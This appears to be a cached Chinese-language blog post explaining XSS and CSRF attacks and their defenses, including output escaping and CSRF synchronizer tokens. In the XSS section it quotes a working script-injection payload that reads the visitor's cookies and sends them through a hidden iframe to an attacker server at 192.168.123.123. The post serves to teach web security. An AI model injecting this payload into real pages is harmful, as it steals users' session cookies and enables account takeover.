1

XSS和CSRF

 2 years ago
source link: https://doumao.cc/index.php/%E7%BC%96%E7%A8%8B/XSS%E5%92%8CCSRF.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

什么是XSS

XSS:跨站脚本(Cross-site scripting)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会收到影响。这类攻击通常包含了HTML以及用户端脚本语言。

XSS攻击:通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript。攻击成功后,攻击者可能得到更高的权限(如执行一些操作)、私密网页内容、会话和Cookie等各种内容。

XSS攻击例子

攻击者使被攻击者在浏览器中执行脚本后,如果需要收集来自被攻击者的数据(如cookie或其他敏感信息),可以自行搭建一个网站,让被攻击者通过JavaScript等方式把收集好的数据作为参数提交,随后以数据库等形式记录在攻击者自己的服务器上。

下面的代码来自用大白话谈谈XSS与CSRF

// 用 <script type="text/javascript"></script> 包起来放在评论中
(function(window, document) {
    // 构造泄露信息用的 URL
    var cookies = document.cookie;
    var xssURIBase = "http://192.168.123.123/myxss/";
    var xssURI = xssURIBase + window.encodeURI(cookies);
    // 建立隐藏 iframe 用于通讯
    var hideFrame = document.createElement("iframe");
    hideFrame.height = 0;
    hideFrame.width = 0;
    hideFrame.style.display = "none";
    hideFrame.src = xssURI;
    // 开工
    document.body.appendChild(hideFrame);
})(window, document);

用户进入到存在漏洞的页面后,浏览器会执行中的上面这段代码,这段代码读取了用户的cookie信息,并作为参数传给了攻击者的服务器http://192.168.123.123/myxss/,攻击者可以使用这些信息做下一步的攻击。

这就是XSS攻击的其中一种手段和目的,其他手段和目的可以搜索了解。

XSS防御

主要方法之一是对用户所提供的内容进行过滤,许多编程语言都有提供对HTML的过滤。或者在渲染HTML页面时,将不安全的内容以字符串的形式显示(Django的模板渲染默认采用这种方法)。

什么是CSRF

CSRF:跨站请求伪造(Cross-site request forgery),是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。跟跨站脚本(XSS)相比,XSS利用的是用户对指定网站的信任,CSRF利用的网站对用户浏览器的信任

简单地说,是攻击者通过一些技术手段(例如通过qq发送一个链接让你点击打开)欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作(如发邮件,发消息,甚至银行转账)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户的操作。

这其实利用了Web中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户资源发出的

CSRF攻击例子

这种恶意的网址可以有很多种形式,藏身于网页中的许多地方。此外,攻击者也不需要控制放置恶意网址的网站。例如他可以将这种地址藏在论坛,博客等任何用户生成内容的网站中。这意味着如果服务端没有合适的防御措施的话,用户即使访问熟悉的可信网站也有受攻击的危险

CSRF防御

令牌同步模式
原理是:当用户发送请求时,服务器端应用将令牌(英语:token,一个保密且唯一的值)嵌入HTML表格,并发送给客户端。客户端提交HTML表格时候,会将令牌发送到服务端,令牌的验证是由服务端实行的。令牌可以通过任何方式生成,只要确保随机性和唯一性(如:使用随机种子【英语:random seed】的哈希链 )。这样确保攻击者发送请求时候,由于没有该令牌而无法通过验证。

Django的csrf就是采用这种方法。

跨站脚本 - 维基百科

跨站请求伪造 - 维基百科

用大白话谈谈XSS与CSRF

如何用简洁生动的语言说明 XSS 和 CSRF 的区别?

Django中csrf token验证原理


Recommend

  • 40
    • Github github.com 6 years ago
    • Cache

    浅说 XSS 和 CSRF

    在 Web 安全领域中,XSS 和 CSRF 是最常见的攻击方式。本文将会简单介绍 XSS 和 CSRF 的攻防问题。 声明:本文的示例仅用于演示相关的攻击原理 XSS XSS,即 Cross Site Script,中译是跨站脚本攻击;其原本...

  • 37

  • 52
    • www.cnblogs.com 6 years ago
    • Cache

    .NET MVC CSRF/XSRF 漏洞 - Caligula

    最近我跟一个漏洞还有一群阿三干起来了…… 背景: 我的客户是一个世界知名的药企,最近这个客户上台了一位阿三管理者,这个货上线第一个事儿就是要把现有的软件供应商重新洗牌一遍。由于我们的客户关系维护的非常

  • 43
    • 微信 mp.weixin.qq.com 5 years ago
    • Cache

    CSRF 原理与防御案例分析

  • 14
    • www.freebuf.com 4 years ago
    • Cache

    漏洞组合拳之XSS+CSRF记录

    0×00 前言 今天学习一下 XSS + CSRF 组合拳,现将笔记记录如下。 0×01 靶场环境 本机(Win):192.168.38.1 DVWA(Win):192.168.38.132 Beef...

  • 20
    • www.freebuf.com 4 years ago
    • Cache

    CSRF的攻击、防御与挖掘

    1. 先聊一聊cookie 通常我们访问网站时用到的协议为HTTP/HTTPS,他们一种没有状态的协议,用户A、用户B、用户C…..同时访问一个url,而网站是无法确认是谁访问的它。上面这种说法比较模糊,举个显而易见的例子:...

  • 31
    • denvaar.github.io 4 years ago
    • Cache

    Close Look at CSRF Tokens

    I set out to understand how CSRF tokens are generated and validated. I did it by tracing the flow of function calls through a Phoenix web applciation. It was a process that led me down some deep rabbit holes, but ultimate...

  • 17
    • victorzhou.com 4 years ago
    • Cache

    An Interactive CSRF Demo

    Looking for an introduction to Cross-Site Request Forgery (CSRF)? This post will be a little different - instead of telling you what it is, I’m going to show y...

  • 6
    • fengxu.ink 3 years ago
    • Cache

    网络安全xss和csrf入门

    在互联网的世界里面,安全始终是一个极为重要的问题。平时自己写demo时候往往会忽略这一点,但是,一旦想要成为产品,安全是一定要放在第一位的。在web开发中,理解常见的网络安全隐患,知道其原理并学会防护是一项重要的技能。 什么是xssXSS全...

  • 2

    Avoid XSS and CSRF Attacks in JWT (React + Golang): A TutorialMarch 20th 2022 new story4The...

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK